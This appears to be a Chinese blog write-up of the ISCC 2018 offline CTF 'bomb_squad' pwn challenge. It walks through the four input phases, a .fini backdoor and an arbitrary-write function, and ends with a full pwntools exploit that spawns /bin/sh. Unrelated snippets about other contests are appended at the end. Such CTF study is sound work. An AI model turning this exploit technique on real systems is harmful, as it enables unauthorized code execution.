ISCC2018線下賽私地pwn

2021-08-29 20:25:32 字數 3111 閱讀 9215

拿到題目,還是首先checksec,看開了什麼保護。

開啟了棧溢位檢查,和棧執行保護。

首先這個題目,需要過四個phase,然後就能print_flag列印flag有點像計算機系統拆炸彈。

第乙個炸彈

要求輸入乙個數x,使得3*(2*x/37-18)-1=1337.

這裡推薦乙個z3求解器。

可以很好的解決一些求解不等式,求解方程的問題。

要求輸入一串陣列,使其能夠滿足如下條件:

所以很自然的結果應該是,1, 1, 3, 5, 11, 21。這裡要注意sscanf函式,是從arg1中匹配符合arg2格式的字串。所以要輸入"[1, 1, 3, 5, 11, 21]"才能 通過。

看起來很複雜,其實要讓迴圈跳出,只要第乙個是\x00即可,不用考慮後面的邏輯

所以輸入"\x00"

這一關要求輸入陣列。

首先看一看這裡涉及到的乙個結構體,以n1為例

寫成c語言大概就是

struct node

;

題目中一共有六個node。

phase_4要求輸入7個數字,然後程式從n1開始累加,遍歷節點,然後使得 經過的八個節點的length總和為0x5f. 比如輸入"1 2" 就會經過1 3 4節點

有很多解,我找到的解是"3 0 3 0 3 0 0"

通過四個phase以後,會呼叫print_flag函式,如果verifying 通過即可執行 cat flag.txt列印flag。

然而其實發現verify_working是始終返回1的。。。。已經預感到肯定不能cat flag了。

並且會呼叫乙個secret_phase函式。

這個隱藏關卡其實會要求輸入並且修改每乙個node的name部分。注意fgets函式arg2代表最多輸入arg2-1個位元組。並在最後補上\x00。因此算是有乙個單位元組溢位,可以影響到後續的length。不過不會造成很大問題。

果然一切就緒後,並不能列印flag,回顯顯示並沒有flag.txt檔案。。。。。

換思路。。。

​ 然後開始分析一些奇怪的函式。

gg函式,最好直接看彙編,發現其實它是乙個後門函式,會call每個node的name[4]-name[8]指向的地方的函式,而且call時,棧頂指向的是被執行node,即依次是四個next還有字串name。

而name[4]-name[8]顯然是可以被我們控制的。在secret_phase那裡。

那麼我們只要觸發這個gg函式即可直接執行system。如果把next1指向的地方改為/bin/sh就可以直接getshell了。

對gg函式交叉引用了一下,發現其出現在fini節中,程式結束時,fini節中函式會依次執行一遍。

也就是說,gg函式會自動執行。等於我們通過gg函式拿到乙個任意位址執行。

再分析奇怪的nr函式。

可以通過第乙個輸入,覆蓋到v4。而且可以通過第二個輸入向v4 寫入任意資料。也就是通過這兩個輸入,我們能夠實現乙個任意位址寫。

通過上述操作,我們有了任意位址執行,而且引數位址已知,並且可以通過加任意位址寫控制。

具體來說,我們首先更改n1的name[4-8]為nr函式,向n3寫入/bin/sh。把n2的name[4-8]改為system函式。這樣,就能夠執行system("/bin/sh")了。

exp如下:

from pwn import

*# p = remote(ip,8000)

# p = process("./bomb")

p = process(

"./bomb_squad"

)p.sendline(

"8584"

)p.sendline(

"[1, 1, 3, 5, 11, 21]"

)p.sendline(

"\x00"

)p.sendline(

"3 0 3 0 3 0 0"

)system =

0x080485a0

n3 =

0x804b0a8

nr =

0x08048cda

payload =

'aaaa'

+ p32(nr)

p.send(payload)

payload =

'bbbb'

+ p32(system)

+"\n\n\n"

p.sendline(payload)

payload =

'a'*

0xfc

+ p32(n3)

p.sendline(payload)

p.sendline(

'/bin/sh\x00'

)p.interactive(

)

xdoj 2018校賽 網路賽

第一次參加校賽,相比於之前的網路賽,感覺這次難度還行,不算難也不算簡單。先簡單說說前面幾道題吧 a 水題,找規律 b 水題,最小公倍數 c 稍稍有點難度,先排序,仔細考慮即可 d 水題,找規律 e bfs打表 f 矩陣快速冪遞推 g 找到一一對應的方法bfs 好了,仔細說說最後三題吧。h 一道看上去...

西大CTF線下賽re第一題 第一次打線下賽

總結第一次參加ctf線下賽,因為一直學習的逆向方向,在這裡記錄一下做出來的reverse第一題的wp,與以後上傳的部落格一起做乙個學習歷程。我所用的工具 如果有新的將來在補充 查殼工具 peid 和exeinfope 除錯工具 idapro 靜態除錯,32位和64位 ollydbg 動態除錯32位 ...

171127 總結 DCTF線下賽經驗教訓

1625 5 王子昂 總結 2017年11月27日 連續第423天總結 a.上海ctf線下賽總結 b.準備了許多指令碼,但大多數都沒有用上 而且規則臨時改變太大了 並且含糊不清,比如到場發的紙上寫著有3臺gamebox,卻只給了兩個ip,我們都以為要掃剩下的乙個,其實是寫錯了只有兩個靶機 準備了批量...